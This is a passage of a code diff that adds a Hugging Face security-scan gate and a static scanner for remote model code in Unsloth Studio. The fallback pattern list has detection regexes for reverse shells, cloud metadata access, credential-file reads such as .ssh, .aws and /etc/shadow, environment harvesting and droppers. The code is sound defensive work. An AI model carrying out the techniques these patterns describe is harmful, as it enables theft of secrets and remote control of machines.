+            return norm[len(prefix) + 1 :]
+    return norm
+
+
+def _index_prefixes(load_subdirs) -> tuple:
+    """Prefixes to look for weight-index files under: repo root plus each load subdir."""
+    prefixes = [""]
+    for subdir in load_subdirs or ():
+        p = _normalize_repo_path(subdir).strip("/")
+        if p:
+            prefixes.append(p + "/")
+    return tuple(prefixes)
+
+
+def _indexed_shard_paths(
+    model_name: str,
+    hf_token: Optional[str],
+    load_subdirs = (),
+):
+    """Repo-relative weight paths a load could fetch via weight-index files. Returns a
+    set (empty when the repo ships no index files -- a definitive "nothing sharded"), or
+    None when the lookup was inconclusive (transient error) so the caller treats a
+    flagged subdir pickle conservatively. Reads only small JSON indexes, never weights.
+    Indexes are looked up at the root and each ``load_subdirs`` root, with ``weight_map``
+    entries re-prefixed to repo-relative paths.
+    """
+    import json
+
+    try:
+        from huggingface_hub import hf_hub_download
+        from huggingface_hub.utils import EntryNotFoundError
+    except Exception:
+        return None
+
+    paths: set = set()
+    inconclusive = False
+    for prefix in _index_prefixes(load_subdirs):
+        for filename in _TRANSFORMERS_INDEX_FILES:
+            try:
+                index_path = hf_hub_download(model_name, prefix + filename, token = hf_token or None)
+            except EntryNotFoundError:
+                continue  # definitively absent, not an error
+            except Exception:
+                inconclusive = True  # transient: an index that might exist could not be read
+                continue
+            try:
+                weight_map = (json.loads(open(index_path).read()) or {}).get("weight_map") or {}
+                for shard in weight_map.values():
+                    shard_norm = _normalize_repo_path(str(shard))
+                    # weight_map paths are relative to the index file's directory.
+                    if prefix and not shard_norm.startswith(prefix):
+                        shard_norm = prefix + shard_norm
+                    paths.add(shard_norm)
+            except Exception:
+                inconclusive = True
+    # Any transient failure -> inconclusive (the shard could be listed only by the index
+    # we could not read), so fail closed (None) and let the caller block. Ships no index
+    # files -> EntryNotFoundError for each, empty set, a definitive "nothing sharded".
+    if inconclusive:
+        return None
+    return paths
+
+
+# Two-timeout metadata fetch, mirroring hub.workers.hf_download._retry_metadata_fetch.
+_REQUEST_TIMEOUT = 10.0
+_RETRY_TIMEOUT = 20.0
+
+
+@dataclass
+class FileSecurityDecision:
+    """Outcome of the Hub security scan for one model repo."""
+
+    model_name: str
+    blocked: bool
+    unsafe_files: list = field(default_factory = list)  # [{"path", "level"}]
+    reason: str = ""
+
+    def response_payload(self) -> dict:
+        """Machine-readable detail merged into the preflight payload the dialog reads."""
+        return {
+            "unsafe_files": self.unsafe_files,
+            "security_blocked": self.blocked,
+            "reason": self.reason,
+        }
+
+
+def security_load_subdirs(model_name: str, hf_token: Optional[str] = None) -> tuple:
+    """Snapshot subdirectories a load calls ``from_pretrained`` on, for scoping the scan.
+    Most models load from the root (``()``); Spark-TTS / BiCodec load ``<snapshot>/LLM``,
+    so ``LLM/`` is a load root for them. Metadata-only (tokenizer special tokens), cached.
+    """
+    try:
+        from utils.models.model_config import detect_audio_type, load_model_defaults
+        if detect_audio_type(model_name, hf_token = hf_token) == "bicodec":
+            return ("LLM",)
+        # Tokenizer detection can fail (network/gated/unresolved alias); the YAML default
+        # also pins the audio type, so fall back to it (else a flagged LLM/ pickle is
+        # treated as an ignored subdir artifact).
+        if (load_model_defaults(model_name) or {}).get("audio_type") == "bicodec":
+            return ("LLM",)
+    except Exception:
+        pass
+    return ()
+
+
+def _load_scan_target(model_name: str, load_subdirs: tuple) -> tuple:
+    """Map a load alias to the ``(repo_id, load_subdirs)`` the load actually fetches. The
+    Spark-TTS / BiCodec alias ``<parent>/LLM`` is downloaded by the trainer as
+    ``unsloth/<parent>`` and loaded from ``LLM/``, so scan that repo with ``LLM`` as a
+    load root (the literal alias 404s and fails open). Everything else is unchanged.
+    """
+    try:
+        from utils.paths import is_local_path
+        if is_local_path(model_name):
+            return model_name, load_subdirs
+    except Exception:
+        return model_name, load_subdirs
+    name = (model_name or "").strip().strip("/")
+    # Rewrite ONLY a registry-known bicodec alias, never any repo ending in "/LLM"
+    # (e.g. "evil/LLM" would scan unsloth/evil and fail open on the real repo).
+    if name.endswith("/LLM") and name.count("/") == 1:
+        try:
+            from utils.models.model_config import load_model_defaults
+            if (load_model_defaults(name) or {}).get("audio_type") == "bicodec":
+                parent = name[: -len("/LLM")]
+                return f"unsloth/{parent}", tuple(dict.fromkeys((*load_subdirs, "LLM")))
+        except Exception:
+            pass
+    return model_name, load_subdirs
+
+
+def _fetch_security_status(model_name: str, hf_token: Optional[str]):
+    """``security_repo_status`` (a dict) or None if unavailable. Hub metadata only;
+    retries once on a transient error, then returns None so the caller fails open.
+    """
+    from huggingface_hub import model_info as hf_model_info
+
+    token_arg = hf_token if hf_token else False
+    last_exc = None
+    for attempt, timeout in enumerate((_REQUEST_TIMEOUT, _RETRY_TIMEOUT)):
+        try:
+            info = hf_model_info(
+                model_name,
+                token = token_arg,
+                securityStatus = True,
+                timeout = timeout,
+            )
+            return getattr(info, "security_repo_status", None)
+        except Exception as exc:  # network/offline/gated/404/unsupported-client
+            last_exc = exc
+            if attempt == 0:
+                continue
+    logger.debug(
+        "HF security scan unavailable for '%s' (%s); failing open.",
+        model_name,
+        type(last_exc).__name__ if last_exc else "unknown",
+    )
+    return None
+
+
+def evaluate_file_security(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    *,
+    load_subdirs = (),
+) -> FileSecurityDecision:
+    """Block a load when HF's security scan flags unsafe serialized files.
+
+    Call UNCONDITIONALLY before any load (independent of trust_remote_code): a malicious
+    pickle deserializes during ``from_pretrained`` regardless. Metadata-only; fails open
+    when the scan is unavailable.
+
+    ``load_subdirs`` names subdirs the load calls ``from_pretrained`` on (e.g. ``("LLM",)``
+    for Spark-TTS / BiCodec, loading ``<snapshot>/LLM``): a flagged file directly under one
+    is root-level there and blocks, and an index inside it is honored when scoping shards.
+    """
+    # Scan the repo the load actually fetches, not the literal alias (which 404s and
+    # fails open): the Spark-TTS "<parent>/LLM" alias is really unsloth/<parent> from LLM/.
+    model_name, load_subdirs = _load_scan_target(model_name, tuple(load_subdirs))
+
+    # Local paths (including a local .gguf) have no Hub scan. A remote ref is scanned
+    # even if named "*.gguf", so a repo cannot dodge the scan via its name.
+    try:
+        from utils.paths import is_local_path
+        if is_local_path(model_name):
+            return FileSecurityDecision(model_name, False, reason = "local path; no Hub scan")
+    except Exception:
+        # Cannot classify the path -> do not block on that account.
+        return FileSecurityDecision(model_name, False, reason = "path check failed; not blocked")
+
+    status = _fetch_security_status(model_name, hf_token)
+    if not isinstance(status, dict):
+        return FileSecurityDecision(
+            model_name, False, reason = "scan unavailable; allowed (fail-open)"
+        )
+
+    # Block a non-``safe`` flagged file scoped to the load-path RCE vector (root-level,
+    # code-executing). Not gated on ``scansDone`` (often false even when clean; a flagged
+    # file is flagged regardless). Unknown levels fail closed; in-progress/clean do not.
+    # Subdir pickles and inert formats (safetensors/gguf) are not loaded by
+    # from_pretrained and do not block. Unavailable status (above) is the only fail-open.
+    unsafe = []
+    skipped = []  # flagged, but not a load-path RCE vector (subdir artifact / inert)
+    maybe_shard = []  # flagged subdir pickle: a load vector ONLY if a root index lists it
+    for entry in status.get("filesWithIssues") or []:
+        if not isinstance(entry, dict):
+            continue
+        level = str(entry.get("level", "")).lower()
+        if level in _NONBLOCKING_LEVELS:
+            continue
+        path = entry.get("path", "")
+        norm = _normalize_repo_path(path)
+        suffix = _file_suffix(norm)
+        # Path relative to the load root: a file under a load subdir (e.g. LLM/) is
+        # root-level there, not nested.
+        load_rel = _load_relative_path(norm, load_subdirs)
+        if not norm or suffix in _INERT_SUFFIXES or suffix in _SOURCE_SUFFIXES:
+            # Inert formats cannot execute on load; source code is the consent gate's
+            # domain (auto_map), not a deserialization vector.
+            skipped.append({"path": path, "level": level})
+        elif "/" not in load_rel:
+            unsafe.append({"path": path, "level": level})  # root pickle -> load vector
+        else:
+            # Subdir pickle: deserialized only if a weight index references it.
+            maybe_shard.append({"path": path, "level": level, "norm": norm})
+
+    if maybe_shard:
+        indexed = _indexed_shard_paths(model_name, hf_token, load_subdirs)
+        for m in maybe_shard:
+            # Block if a root index lists this shard, or if the lookup was inconclusive
+            # (transient error -> stay conservative). A definitive "no index / not listed"
+            # stays non-blocking (e.g. NeMo nemo/*.distcp).
+            if indexed is None or m["norm"] in indexed:
+                unsafe.append({"path": m["path"], "level": m["level"]})
+            else:
+                skipped.append({"path": m["path"], "level": m["level"]})
+
+    if not unsafe:
+        if skipped:
+            # Flagged files exist, but none the load deserializes (subdir pickle or inert
+            # format) -> allow, but log them so they stay visible.
+            logger.info(
+                "'%s': Hugging Face flagged files, but none are a load-path RCE "
+                "vector (subdir/inert); allowing the load. Flagged: %s",
+                model_name,
+                ", ".join(f"{s['path']}({s['level']})" for s in skipped),
+            )
+        return FileSecurityDecision(model_name, False, reason = "no unsafe files in the load path")
+
+    names = ", ".join(u["path"] for u in unsafe if u["path"]) or "unknown files"
+    logger.warning(
+        "Blocking load of '%s': Hugging Face security scan flagged unsafe files (%s).",
+        model_name,
+        names,
+    )
+    return FileSecurityDecision(
+        model_name,
+        True,
+        unsafe_files = unsafe,
+        reason = f"Hugging Face security scan flagged unsafe files: {names}",
+    )
diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py
new file mode 100644
index 0000000000..18e45511d0
--- /dev/null
+++ b/studio/backend/utils/security/remote_code_scan.py
@@ -0,0 +1,679 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static scan of a model's ``auto_map`` remote code, for the consent gate.
+
+When a user opts into ``trust_remote_code``, the repo's ``auto_map`` Python
+(``modeling_*.py`` etc.) is scanned BEFORE execution and suspicious patterns are
+surfaced to inform consent. A warning aid, not a hard boundary: a determined
+attacker can obfuscate past regexes, so the job is to raise the bar and inform the
+hash-pinned consent. Containment (subprocess/venv) is separate; execution still
+requires opt-in.
+
+Single source of truth: ``scripts/scan_packages.py`` (the scanner CI runs via
+``security-audit.yml``). We import its ``check_py_file`` so the gate inherits every
+CI improvement with no drift; its heuristics are deliberately low-false-positive
+(combinations flag, not bare ``subprocess``/``eval``). When ``scripts/`` is absent
+(stripped install) we fall back to ``_FALLBACK_PATTERNS`` below; a test asserts the
+canonical scanner loads in-repo so the fallback never silently takes over.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import importlib.util
+import pathlib
+import re
+import sys
+from dataclasses import dataclass, field
+from typing import Optional
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+CRITICAL = "CRITICAL"
+HIGH = "HIGH"
+MEDIUM = "MEDIUM"
+_SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2}
+
+# Configs that can carry an ``auto_map`` pointing at executable repo ``.py``.
+# ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the
+# same set (scanning only config.json/tokenizer would miss a custom-processor VLM).
+REMOTE_CODE_CONFIG_FILES = (
+    "config.json",
+    "tokenizer_config.json",
+    "preprocessor_config.json",
+    "processor_config.json",
+    "video_preprocessor_config.json",
+)
+
+
+class RemoteCodeUnscannable(Exception):
+    """The repo's executable code could not be fully fetched/listed to scan.
+
+    Raised (not returned empty) so the gate distinguishes "code PRESENT but unreadable"
+    (offline/gated/transient/404/listing failure) -> fail CLOSED, from "repo has NO .py"
+    (empty result) -> trust_remote_code is a no-op -> allow. Conflating them would block
+    a code-free repo or fail open on code we could not see.
+    """
+
+
+# Fallback patterns (used only if scripts/scan_packages.py is absent): (regex, check,
+# severity). A flat subset of the canonical scanner so a stripped install still scans;
+# the canonical scanner (imported below) supersedes it whenever the repo is present.
+_FALLBACK_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = (
+    (
+        re.compile(
+            r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)"
+            r"|\bexec\s*\([^)]*\.(?:text|content|read)\s*\("
+            r"|\beval\s*\([^)]*\.(?:text|content|read)\s*\("
+            r"|\b__import__\s*\([^)]*\+",
+            re.DOTALL,
+        ),
+        "loads-and-executes-remote-code",
+        CRITICAL,
+    ),
+    (
+        re.compile(
+            r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"
+            r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"
+            r"|\bpty\s*\.\s*spawn\b|\bos\s*\.\s*dup2\s*\(",
+            re.DOTALL,
+        ),
+        "reverse/bind-shell",
+        CRITICAL,
+    ),
+    (
+        re.compile(
+            r"169\.254\.169\.254|metadata\.google\.internal|/latest/meta-data"
+            r"|/metadata/identity|169\.254\.170\.2"
+        ),
+        "cloud-metadata/IMDS-access",
+        CRITICAL,
+    ),
+    (
+        re.compile(
+            r"(?:open|Path|read_text|read_bytes)\s*\([^)]*?"
+            r"(?:\.ssh[/\\]|\.aws[/\\]|\.kube[/\\]|\.gnupg[/\\]|id_rsa|id_ed25519"
+            r"|credentials\.json|\.git-credentials|\.npmrc|\.pypirc|/etc/shadow)"
+            r"|(?:open|Path)\(\s*['\"]\.env['\"]\s*[,)]",
+            re.DOTALL,
+        ),
+        "credential-file-access",
+        CRITICAL,
+    ),
+    (
+        re.compile(r"/tmp/\S+.*(?:subprocess|os\.system|os\.popen|Popen|chmod.*\+x)", re.DOTALL),
+        "tmp-staged-dropper",
+        CRITICAL,
+    ),
+    (
+        re.compile(r"\bopenssl\s+(enc|rand|rsautl|pkeyutl|genrsa|dgst|s_client)\b"),
+        "openssl-cli-exfil",
+        HIGH,
+    ),
+    (
+        re.compile(
+            r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b"
+            r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b"
+        ),
+        "subprocess/os-exec",
+        HIGH,
+    ),
+    # Bare exec()/eval() only; the (?<![\w.]) excludes torch's ``module.eval()``.
+    (re.compile(r"(?<![\w.])(?:exec|eval)\s*\("), "exec/eval", HIGH),
+    (
+        re.compile(
+            r"\burllib\.request\b|\burlopen\s*\("
+            r"|\brequests\s*\.\s*(get|post|put|patch|delete|head|Session)\b"
+            r"|\bhttpx\s*\.\s*(get|post|put|patch|delete|Client|AsyncClient)\b"
+            r"|\bsocket\s*\.\s*(socket|create_connection)\b|\bhttp\.client\b"
+        ),
+        "network-access",
+        HIGH,
+    ),
+    (
+        re.compile(
+            r"\bmarshal\s*\.\s*(loads|load)\b"
+            r"|\bcompile\s*\([^)]*['\"]exec['\"]\s*\)"
+            r"|\b__import__\s*\(|\bgetattr\s*\(\s*__builtins__"
+            r"|\b(?:b64decode|decodebytes)\s*\(.*(?:b64decode|decodebytes)\s*\(",
+            re.DOTALL,
+        ),
+        "obfuscation",
+        HIGH,
+    ),
+    (
+        re.compile(
+            r"-----BEGIN\s+(?:RSA\s+)?(?:PUBLIC|PRIVATE|ENCRYPTED|EC|DSA|OPENSSH)\s+KEY-----"
+            r"|\bMII[A-Za-z0-9+/]{20,}",
+            re.DOTALL,
+        ),
+        "embedded-key-material",
+        HIGH,
+    ),
+    (
+        re.compile(
+            r"\bos\.environ\s*\.\s*copy\s*\(|\bdict\s*\(\s*os\.environ\s*\)"
+            r"|\bjson\.dumps\s*\(\s*(?:dict\s*\(\s*)?os\.environ",
+            re.IGNORECASE,
+        ),
+        "environment-harvest",
+        HIGH,
+    ),
+    (
+        re.compile(
+            r"\bbase64\s*\.\s*(b64decode|decodebytes|b32decode|b16decode)\b"
+            r"|\bcodecs\s*\.\s*decode\b"
+        ),
+        "base64/encoding-decode",
+        MEDIUM,
+    ),
+    (re.compile(r"[A-Za-z0-9+/=]{200,}"), "large-base64-blob", MEDIUM),
+)
+
+
+@dataclass
+class Finding:
+    severity: str
+    filename: str
+    check: str
+    evidence: str = ""
+    # 1-based match line + surrounding code window (see _attach_location). For the UI;
+    # None/[] when unlocatable.
+    line: Optional[int] = None
+    snippet: list = field(default_factory = list)
+
+
+@dataclass
+class ScanResult:
+    findings: list[Finding] = field(default_factory = list)
+    fingerprint: str = ""
+
+    @property
+    def max_severity(self) -> Optional[str]:
+        if not self.findings:
+            return None
+        return min((f.severity for f in self.findings), key = lambda s: _SEVERITY_ORDER[s])
+
+    @property
+    def clean(self) -> bool:
+        return not self.findings
+
+    def summary(self) -> str:
+        if self.clean:
+            return "no suspicious patterns found"
+        by = {}
+        for f in self.findings:
+            by.setdefault(f.severity, set()).add(f.check)
+        parts = []
+        for sev in (CRITICAL, HIGH, MEDIUM):
+            if sev in by:
+                parts.append(f"{sev}: {', '.join(sorted(by[sev]))}")
+        return "; ".join(parts)
+
+    def findings_payload(self) -> list[dict]:
+        """Structured findings for the UI: one record per match, with line + snippet."""
+        return [
+            {
+                "severity": f.severity,
+                "file": f.filename,
+                "check": f.check,
+                "evidence": f.evidence,
+                "line": f.line,
+                "snippet": f.snippet,
+            }
+            for f in self.findings
+        ]
+
+
+# Canonical scanner: import scripts/scan_packages.py by file path (scripts/ is not an
+# importable package from the backend root). It imports only stdlib at module level and
+# guards its CLI under __main__, so importing it is side-effect-free.
+_CANON_SENTINEL = object()
+_canon_cache = _CANON_SENTINEL
+
+
+def _load_canonical_scanner():
+    """Return the ``scripts/scan_packages.py`` module, or None if unavailable."""
+    global _canon_cache
+    if _canon_cache is not _CANON_SENTINEL:
+        return _canon_cache
+
+    module = None
+    # Walk up from this file to a repo root that contains scripts/scan_packages.py.
+    here = pathlib.Path(__file__).resolve()
+    for parent in here.parents:
+        candidate = parent / "scripts" / "scan_packages.py"
+        if candidate.is_file():
+            try:
+                spec = importlib.util.spec_from_file_location("unsloth_scan_packages", candidate)
+                mod = importlib.util.module_from_spec(spec)
+                sys.modules.setdefault("unsloth_scan_packages", mod)
+                spec.loader.exec_module(mod)  # type: ignore[union-attr]
+                if hasattr(mod, "check_py_file"):
+                    module = mod
+            except Exception as exc:  # pragma: no cover - defensive
+                logger.warning("Could not load canonical scan_packages.py: %s", exc)
+            break
+
+    if module is None:
+        logger.warning(
+            "scripts/scan_packages.py not found; remote-code scan using the "
+            "vendored fallback patterns."
+        )
+    _canon_cache = module
+    return module
+
+
+# Model-context-strict patterns. The canonical scanner only flags bare
+# ``subprocess``/``eval`` in combinations (common in package build scripts), but a
+# model's modeling_*.py never legitimately shells out, so the gate flags them alone
+# (e.g. a bare ``subprocess.Popen`` in a config ``__init__``).
+_MODEL_STRICT_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = (
+    (
+        re.compile(
+            r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b"
+            r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b"
+        ),
+        "subprocess/os-exec (model code)",
+        HIGH,
+    ),
+    # Bare exec()/eval(); excludes attribute calls like torch ``module.eval()``.
+    (re.compile(r"(?<![\w.])(?:exec|eval)\s*\("), "exec/eval (model code)", HIGH),
+)
+
+
+# Lines of context shown on each side of a flagged line in the dialog snippet.
+_SNIPPET_CONTEXT = 3
+# Cap a rendered line so a minified/one-line file can't bloat the payload.
+_SNIPPET_MAX_LINE = 240
+# Canonical evidence is formatted as "L<n>: <source line>" by _extract_evidence.
+_EVIDENCE_LINE_RE = re.compile(r"^L(\d+):")
+
+
+def _snippet_rows(
+    content: str,
+    line: int,
+    col: Optional[int] = None,
+    match_len: int = 0,
+) -> list[dict]:
+    """A `±_SNIPPET_CONTEXT`-line window around `line` (1-based). Rows are
+    {number, text, is_match}; the matched row adds match_start/match_end for an inline
+    highlight when a precise column span is known."""
+    lines = content.splitlines()
+    if not lines or line < 1:
+        return []
+    line = min(line, len(lines))
+    lo = max(1, line - _SNIPPET_CONTEXT)
+    hi = min(len(lines), line + _SNIPPET_CONTEXT)
+    rows: list[dict] = []
+    for n in range(lo, hi + 1):
+        text = lines[n - 1]
+        clipped = len(text) > _SNIPPET_MAX_LINE
+        if clipped:
+            text = text[:_SNIPPET_MAX_LINE] + " ..."
+        row = {"number": n, "text": text, "is_match": n == line}
+        if n == line and col is not None and match_len > 0 and not clipped:
+            row["match_start"] = col
+            row["match_end"] = min(col + match_len, len(text))
+        rows.append(row)
+    return rows
+
+
+def _attach_location(
+    content: str,
+    finding: Finding,
+    match: "Optional[re.Match]" = None,
+) -> None:
+    """Populate finding.line + finding.snippet. A regex match gives a precise
+    line+column; canonical findings are located via the `L<n>:` prefix in their evidence."""
+    if match is not None:
+        before = content[: match.start()]
+        line = before.count("\n") + 1
+        col = match.start() - (before.rfind("\n") + 1)
+        finding.line = line
+        finding.snippet = _snippet_rows(content, line, col, match.end() - match.start())
+        return
+    first = finding.evidence.splitlines()[0] if finding.evidence else ""
+    tag = _EVIDENCE_LINE_RE.match(first)
+    if tag:
+        line = int(tag.group(1))
+        finding.line = line
+        finding.snippet = _snippet_rows(content, line)
+
+
+def _scan_content(content: str, filename: str) -> list[Finding]:
+    findings: list[Finding] = []
+
+    canon = _load_canonical_scanner()
+    if canon is not None:
+        # Canonical Finding is (severity, package, filename, check, evidence); adapt to
+        # the gate's (severity, filename, check, evidence).
+        for f in canon.check_py_file(content, filename, ""):
+            finding = Finding(f.severity, f.filename, f.check, (f.evidence or "")[:120])
+            _attach_location(content, finding)
+            findings.append(finding)
+    else:
+        for pat, check, sev in _FALLBACK_PATTERNS:
+            m = pat.search(content)
+            if m:
+                finding = Finding(sev, filename, check, m.group(0)[:120])
+                _attach_location(content, finding, m)
+                findings.append(finding)
+
+    # Augment with the model-context-strict patterns the package scanner omits.
+    have = {f.check for f in findings}
+    for pat, check, sev in _MODEL_STRICT_PATTERNS:
+        if check in have:
+            continue
+        m = pat.search(content)
+        if m:
+            finding = Finding(sev, filename, check, m.group(0)[:120])
+            _attach_location(content, finding, m)
+            findings.append(finding)
+    return findings
+
+
+def scan_remote_code_files(files: dict[str, str]) -> ScanResult:
+    """Scan a mapping of {filename: content} and return aggregated findings."""
+    result = ScanResult(fingerprint = remote_code_fingerprint(files))
+    for name, content in files.items():
+        if not name.endswith(".py"):
+            continue
+        result.findings.extend(_scan_content(content or "", name))
+    return result
+
+
+def remote_code_fingerprint(files: dict[str, str]) -> str:
+    """Stable sha256 over the (sorted) file contents, for pinning consent."""
+    h = hashlib.sha256()
+    for name in sorted(files):
+        h.update(name.encode("utf-8"))
+        h.update(b"\0")
+        h.update((files[name] or "").encode("utf-8"))
+        h.update(b"\0")
+    return h.hexdigest()
+
+
+def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> dict[str, str]:
+    """Download a repo's executable ``.py`` (auto_map targets + modeling/config).
+
+    Returns {filename: content}. An EMPTY dict means the repo ships no executable ``.py``
+    (trust_remote_code is a no-op). Raises ``RemoteCodeUnscannable`` when code is present
+    but cannot be fully fetched/listed (offline/gated/404/listing failure), so the caller
+    fails closed rather than fingerprint a partial view of code transformers would run in
+    full. The empty-vs-raise split lets the gate allow a code-free repo while still
+    blocking unscannable code.
+    """
+    import json
+    from pathlib import Path
+
+    files: dict[str, str] = {}
+    try:
+        from utils.paths import is_local_path, normalize_path
+
+        if is_local_path(model_name):
+            root = Path(normalize_path(model_name)).expanduser()
+            # Walk ALL .py, not just the auto_map entry's static import closure. This is
+            # DELIBERATE (see the remote-branch note): the entry can reach a sibling via
+            # an absolute import, importlib, or exec, which a relative-import closure
+            # misses, so closure-only scanning is a real bypass. Broad scan never
+            # under-scans; the cost is a benign script can over-block, the safe direction
+            # for an RCE gate (HIGH stays approvable; only CRITICAL hard-blocks).
+            for p in root.rglob("*.py"):
+                if p.is_file():
+                    files[str(p.relative_to(root))] = p.read_text(errors = "replace")
+            # A local config can still point auto_map at an EXTERNAL Hub repo
+            # (owner/name--module.Class) that executes on load, so fetch it. Every config
+            # that can declare auto_map is checked, so a custom processor's external code
+            # is not missed.
+            ext_refs = set()
+            for name in REMOTE_CODE_CONFIG_FILES:
+                p = root / name
+                if p.is_file():
+                    try:
+                        ext_refs |= _auto_map_refs(json.loads(p.read_text()))
+                    except Exception:
+                        pass
+            if not _add_external_refs(files, ext_refs, hf_token, model_name):
+                raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable")
+            return files
+
+        from huggingface_hub import hf_hub_download, list_repo_files
+        from huggingface_hub.utils import EntryNotFoundError
+
+        # Collect auto_map refs from EVERY config that can declare one. A 404
+        # (EntryNotFoundError) means the config is absent -> skip; any other failure is
+        # transient/auth and could hide an auto_map, so fail closed (unscannable).
+        refs = set()
+        for cfg_name in REMOTE_CODE_CONFIG_FILES:
+            try:
+                cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token)
+            except EntryNotFoundError:
+                continue
+            except Exception as exc:
+                raise RemoteCodeUnscannable(
+                    f"{model_name}: config {cfg_name} could not be fetched ({exc})"
+                ) from exc
+            try:
+                refs |= _auto_map_refs(json.loads(Path(cfg_path).read_text()))
+            except Exception:
+                pass
+        own_refs = {fn for repo, fn in refs if repo is None}
+        # The full file list catches helper .py the auto_map code imports but does not
+        # name. If we cannot list the repo, an imported module could be missed and the
+        # fingerprint cover less than transformers runs, so fail closed (unscannable).
+        try:
+            repo_files = list_repo_files(model_name, token = hf_token)
+        except Exception as exc:
+            raise RemoteCodeUnscannable(f"{model_name}: could not list repo files ({exc})") from exc
+        repo_file_set = set(repo_files)
+        # Scan every present .py PLUS own-repo auto_map targets that ACTUALLY EXIST in
+        # this revision. Scanning EVERY .py (not just the closure) is DELIBERATE: the
+        # entry can reach a sibling via absolute import / importlib / exec, which a
+        # relative-import closure misses, so closure-only scanning is a real bypass.
+        # Broad scan never under-scans; the cost is a benign script can over-block, the
+        # safe direction for an RCE gate (HIGH approvable; only CRITICAL hard-blocks). An
+        # auto_map target absent from the listing is a STALE ref (an older config naming a
+        # since-removed file, e.g. unsloth/PaddleOCR-VL names processing_ppocrvl.py but
+        # ships processing_paddleocr_vl.py). transformers cannot execute an absent file,
+        # so drop the stale ref rather than fail closed; present .py are still fully
+        # scanned. This also absorbs a mis-derived dotted name (sub.mod.py vs sub/mod.py):
+        # the bad name drops as stale while the real present file is scanned.
+        present_py = {f for f in repo_files if f.endswith(".py")}
+        stale_refs = own_refs - repo_file_set
+        for fn in sorted(stale_refs):
+            logger.info(
+                "repo_remote_code_files(%s): ignoring stale own-repo auto_map target "
+                "%s (absent from the repo listing; it cannot execute)",
+                model_name,
+                fn,
+            )
+        wanted = present_py | (own_refs & repo_file_set)
+        for fn in sorted(wanted):
+            try:
+                fp = hf_hub_download(model_name, fn, token = hf_token)
+            except Exception as exc:
+                # A .py CONFIRMED PRESENT could not be fetched. A partial set would
+                # fingerprint "clean" while transformers later runs this file, so fail
+                # closed. (Stale/absent refs were dropped above, so this only fires on a
+                # present-file fetch failure.)
+                raise RemoteCodeUnscannable(
+                    f"{model_name}: present file {fn} could not be fetched ({exc})"
+                ) from exc
+            files[fn] = Path(fp).read_text(errors = "replace")
+        # Code referenced from another repo executes too: scan it or fail closed.
+        if not _add_external_refs(files, refs, hf_token, model_name):
+            raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable")
+    except RemoteCodeUnscannable:
+        logger.warning("repo_remote_code_files(%s): unscannable; failing closed", model_name)
+        raise
+    except Exception as exc:
+        # An unexpected error mid-scan means we could not complete it -> unscannable.
+        raise RemoteCodeUnscannable(f"{model_name}: scan failed ({exc})") from exc
+    # An empty dict here means the listing succeeded and the repo ships no executable .py
+    # (nor fetchable external refs) -> trust_remote_code is a no-op for the caller.
+    return files
+
+
+def _iter_auto_map_strings(value):
+    """Yield every string class-ref inside one ``auto_map`` value.
+
+    A value is a bare string (``"modeling_x.Cls"``) or a list/tuple (transformers encodes
+    a tokenizer as ``"AutoTokenizer": [slow, fast]``, possibly nested or with nulls).
+    Flatten all forms so external tokenizer code in the list shape is scanned.
+    """
+    if isinstance(value, str):
+        yield value
+    elif isinstance(value, (list, tuple, set)):
+        for item in value:
+            yield from _iter_auto_map_strings(item)
+    elif isinstance(value, dict):
+        for item in value.values():
+            yield from _iter_auto_map_strings(item)
+
+
+def _auto_map_refs(cfg: dict) -> set:
+    """``(repo, filename)`` pairs referenced by config auto_map.
+
+    ``repo`` is ``None`` for own-repo code. An external ``owner/name--module.Class`` ref
+    (transformers' cross-repo form) yields ``("owner/name", "module.py")`` so cross-repo
+    code is scanned + fingerprinted too.
+    """
+    out = set()
+    am = cfg.get("auto_map") or {}
+    if isinstance(am, dict):
+        for value in am.values():
+            # A value may be a string OR a [slow, fast] list (tokenizers); cover both.
+            for ref in _iter_auto_map_strings(value):
+                # ref like "modeling_deepseekocr.Cls" or "owner/name--modeling.Cls"
+                if "." not in ref:
+                    continue
+                module = ref.rsplit(".", 1)[0]  # drop trailing .ClassName
+                if "--" in module:
+                    repo, mod = module.split("--", 1)
+                    out.add((repo or None, mod + ".py"))
+                else:
+                    out.add((None, module + ".py"))
+    return out
+
+
+def _auto_map_py(cfg: dict) -> set[str]:
+    """Own-repo ``.py`` filenames referenced by auto_map (external refs excluded)."""
+    return {fn for repo, fn in _auto_map_refs(cfg) if repo is None}
+
+
+def external_auto_map_repos(model_name: str, hf_token: Optional[str] = None) -> set:
+    """External Hub repos referenced by any of this model's auto_map configs.
+
+    The ``owner/name`` repos ``_add_external_refs`` downloads. The scan route uses this so
+    declining consent purges them too, not leaving untrusted external code cached.
+    Best-effort, config/metadata-only: returns whatever can be read, never raises.
+    """
+    repos: set = set()
+    try:
+        import json
+        from pathlib import Path
+
+        from utils.paths import is_local_path, normalize_path
+
+        if is_local_path(model_name):
+            root = Path(normalize_path(model_name)).expanduser()
+            for cfg_name in REMOTE_CODE_CONFIG_FILES:
+                p = root / cfg_name
+                if not p.is_file():
+                    continue
+                try:
+                    refs = _auto_map_refs(json.loads(p.read_text()))
+                except Exception:
+                    continue
+                repos.update(repo for repo, _fn in refs if repo)
+            return repos
+
+        from huggingface_hub import hf_hub_download
+        from huggingface_hub.utils import EntryNotFoundError
+
